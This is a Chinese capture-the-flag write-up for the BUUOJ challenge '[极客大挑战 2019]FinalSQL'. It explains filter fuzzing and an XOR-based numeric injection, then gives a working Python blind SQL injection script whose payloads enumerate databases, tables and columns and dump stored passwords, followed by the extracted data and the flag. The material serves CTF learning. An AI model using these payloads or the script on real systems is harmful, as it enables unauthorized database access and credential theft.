[极客大挑战 2019]FinalSQL

首先进入题目正常思路是登录框存在sql注入,尝试万能密码,提示"你可别被我逮住了,臭弟弟",应该是被过滤了,做一下FUZZ测试,发现过滤了空格,union等关键字

FUZZ字典已经上传到CSDN了

试了很长时间发现注入点不在这里,看见了题目提示,选择正确的神秘代码即可获得flag,出现了id的注入点,重新FUZZ一下,发现单双引号是没有被过滤的,and被过滤了or没有被过滤,输入单引号出现Error,输入1^0出现NO! Not this! Click others~~~,判断是数字型注入

数字型注入的原始查询语句:SELECT * FROM table_name WHERE id='$id'

使用异或操作来进行注入,1^1=0,0^0=0,1^0=1

我们用两个连续的单引号将查询语句的两个单引号给闭合id=''or(1^0)正确,id=''or(1^1)错误,存在数字型注入

id=''or(length(database())=4) 得到数据库的名字是四个字符

找到注入点注入类型接下来还是用脚本吧

import requests

import time

url="http://5d1aa51f-8d7a-44f9-b222-e46066ebb33a.node5.buuoj.cn:81/search.php?id="

flag=""

i=0

while True:

i+=1

begin=32

end=126 #ascii码表的可打印字符从32到126

tmp=(begin+end) //2

while begin<end:

print(begin,tmp,end)

time.sleep(0.1) #buu的服务器还是停了0.1秒吧,防止429

#爆库

#payload="''or(ascii(substr(database(),%d,1))>%d)"%(i,tmp) #第一个%d对于的i,第二个%d对应的tmp,substr(database(),%d,1)获取数据库名称的第i个字符,然后通过ascii()函数将其转换为ASCII码,并与tmp比较。

#爆表

#payload="''or(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i,tmp)

#爆表

#payload="''or(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)" % (i,tmp)

#爆列

payload="''or(ascii(substr((select(group_concat(password))from(F1naI1y)where(username='flag')),%d,1))>%d)" % (i,tmp)

r=requests.get(url+payload) #发送一个GET请求到之前定义的url,并将构造的payload附加到URL后面。

if 'Click' in r.text:

begin = tmp+1

tmp=(begin+end)//2

else:

end=tmp

tmp=(begin+end)//2 #检查响应文本中是否包含"Click",如果包含,说明猜测的字符ASCII值太小,需要增加begin的值;否则,猜测的值太大,需要减小end的值。然后重新计算tmp

flag+=chr(tmp)

print(flag)

if begin==32:

break

#如果begin的值回到32,这意味着我们到达了字符范围的开始,这通常表示我们已经找到了完整的字符串,因此退出循环。

最后强调一下代码中,begin=tmp+1是必须的,从代码的可执行性角度来说如果 begin 被设置为 tmp,那么在下一个迭代中,tmp 将再次被设置为 (begin + end) // 2,这将导致 tmp 不变,从而陷入无限循环。

从二分法的角度来说当 if 'Click' in r.text: 条件为真时,意味着当前猜测的字符的 ASCII 值小于或等于 tmp。因此,为了继续查找更高的值,我们将 begin 设置为 tmp + 1,从而排除掉 tmp 这个值,并继续在更高的范围内搜索。

用户:root@localhost

数据库名:Click

表名:F1naI1y

字段名:id,username,password

username:mygod,welcome,site,site,site,site,Syc,finally,flag

password:cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{7c62a615-ec40-44c3-9253-516366f3a908}

表名:Flaaaaag

字段名:id,fl4gawsl

这题还是有点坑的,表Flaaaaag最像存在flag的表,字段fl4gawsl查了啥也没有

相关推荐
松涛和鸣1 小时前
72、IMX6ULL驱动实战:设备树(DTS/DTB)+ GPIO子系统+Platform总线
linux·服务器·arm开发·数据库·单片机
likangbinlxa1 小时前
【Oracle11g SQL详解】UPDATE 和 DELETE 操作的正确使用
数据库·sql
r i c k2 小时前
数据库系统学习笔记
数据库·笔记·学习
野犬寒鸦2 小时前
从零起步学习JVM || 第一章:类加载器与双亲委派机制模型详解
java·jvm·数据库·后端·学习
IvorySQL3 小时前
PostgreSQL 分区表的 ALTER TABLE 语句执行机制解析
数据库·postgresql·开源
·云扬·3 小时前
MySQL 8.0 Redo Log 归档与禁用实战指南
android·数据库·mysql
野生技术架构师3 小时前
SQL语句性能优化分析及解决方案
android·sql·性能优化
IT邦德3 小时前
Oracle 26ai DataGuard 搭建(RAC到单机)
数据库·oracle
惊讶的猫3 小时前
redis分片集群
数据库·redis·缓存·分片集群·海量数据存储·高并发写